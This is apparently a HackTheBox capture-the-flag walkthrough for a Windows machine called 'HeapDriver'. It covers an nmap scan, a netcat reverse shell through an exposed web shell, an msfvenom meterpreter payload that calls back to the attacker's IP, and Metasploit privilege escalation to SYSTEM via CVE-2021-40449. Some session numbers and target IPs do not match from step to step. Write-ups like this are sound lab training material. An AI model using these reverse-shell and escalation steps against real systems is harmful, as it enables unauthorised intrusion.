

# HeapDriver

## Port Scan

```
(kali@kali) - [~/Documents/github/ctf/HackTheBox/HeapDriver]
$ nmap -sC -sV heapdriver.htb -oN nmap.txt
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-04-24 08:10 EDT
Nmap scan report for heapdriver.htb (10.129.96.184)
Host is up (0.041s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE        VERSION
135/tcp    open  msrpc          Microsoft Windows RPC
139/tcp    open  netbios-ssn    Microsoft Windows netbios-ssn
445/tcp    open  microsoft-ds?
4443/tcp   open  http           Apache httpd 2.4.51 (OpenSSL/1.1.1l PHP/8.1.0)
|_ http-server-header: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.1.0
|_ http-title: HackTheBox WebShell
8000/tcp   open  http           Apache httpd 2.4.51 ((Win64) OpenSSL/1.1.1l PHP/8.1.0)
|_ http-open-proxy: Proxy might be redirecting requests
|_ http-title: HackTheBox WebShell
|_ http-server-header: Apache/2.4.51 (Win64) OpenSSL/1.1.1l PHP/8.1.0
Service Info: Host: localhost; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_ clock-skew: 7h59m59s
|_ smb2-time:
|   date: 2025-04-24T20:10:24
|_ start_date: N/A
|_ smb2-security-mode:
|   3:1:1:
|_ Message signing enabled but not required

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 20.64 seconds
```

So we have a few open ports. Let's check out some of them.

## Port 8000

port 8000 Looks like we have a webshell on port 8000.

## Getting a Reverse Shell

Set up **netcat** listener.

Get a reverse shell for windows from [revshells.com](https://revshells.com)

*I like to get the base64 one.*

```
(kali@kali) - [~/Documents/github/ctf/HackTheBox/HeapDriver]
$ nc -lvnp 1234
listening on [any] 1234 ...
connect to [10.10.14.2] from (UNKNOWN) [10.129.96.184] 49673
whoami
heapdriver\jr
PS C:\xampp\htdocs> pwd

Path
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C:\xampp\htdocs

PS C:\xampp\htdocs> dir
```

## Moving to Metasploit

Then I had to move to **metasploit** so that I have a better shell and can use it for privilege escalation.

I had to create a new **exe** reverse shell with **msfvenom**

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.2
LPORT=5555 -f exe -o meterpreter.exe
```

I started my python fileserver:

And got it on the windows system

Now, I have to set up my metasploit listener.

# Privilege Escalation

I am going to use:

I did **show options** to see what I had to specify.

Looks like I have to specify a session.

To see my sessions there is a command: **sessions**

```
msf6 post(multi/recon/local_exploit_suggester) > sessions

Active sessions

  Id  Name  Type  Information  Connection
  --  --
  7    meterpreter x64/window HEAPDRIVER\Jr @ HEAPDRIVER 10.10.14.2:1212 → 10.129.96.184:49688 (10.129.96.184)
```

set session 7

run

The suggester did find a bunch of exploits that we can use.

```
msf6 post(multi/recon/local_exploit_suggester) > run

[*] 10.129.96.184 - Collecting local exploits for x64/windows ...
[*] 10.129.96.184 - 196 exploit checks are being tried ...
[*] 10.129.96.184 - exploit/windows/local/bypassuac_dotnet_profiler: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/bypassuac_fodhelper: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/bypassuac_sdclt: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/bypassuac_sluihijack: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/cve_2020_1048_printerdemon: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/cve_2020_1337_printerdemon: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/cve_2020_17136: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/cve_2021_40449: The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[*] 10.129.96.184 - exploit/windows/local/cve_2022_21002_win32k: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/cve_2022_21999_spoolfool_privsc: The target appears to be vulnerable.
[*] 10.129.96.184 - exploit/windows/local/ms16_032_secondary_logon_handle_privsc: The service is running, but could not be validated.
[*] Running check method for exploit 45 / 45
[*] 10.129.96.184 - Valid modules for session 7:
```

I am going to use the one I highlighted.

I set up the session again and a new port.

And eventually got my new session and became **nt authority\system**

```
View the full module info with the info, or info -d command.
msf6 exploit(windows/local/cve_2021_40449) > set lhost 10.10.14.2
lhost => 10.10.14.2
msf6 exploit(windows/local/cve_2021_40449) > set lport 2323
lport => 2323
msf6 exploit(windows/local/cve_2021_40449) > set session 1
session => 1
msf6 exploit(windows/local/cve_2021_40449) > run

[*] Started reverse TCP handler on 10.10.14.2:2323
[*] Running automatic check ("set AutoCheck false" to disable)
[*] The target appears to be vulnerable. Vulnerable Windows 10 v1809 build detected!
[*] Launching msieexec to host the DLL...
[*] Process 7128 launched.
[*] Reflectively injecting the DLL into 7128...
[*] Exploit finished, wait for (hopefully privileged) payload execution to complete.
[*] Sending stage (201798 bytes) to 10.129.230.161
[*] Meterpreter session 2 opened (10.10.14.2:2323 → 10.129.230.161:49677) at 2025-04-24 09:41:29 -0400

meterpreter > shell
Process 1044 created. Serial Number is 16FA-E1B7
Channel 1 created.
Microsoft Windows [Version 10.0.17763.1577]
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C:\Windows\system32>whoami
whoami
nt authority\system
C:\Windows\system32>
```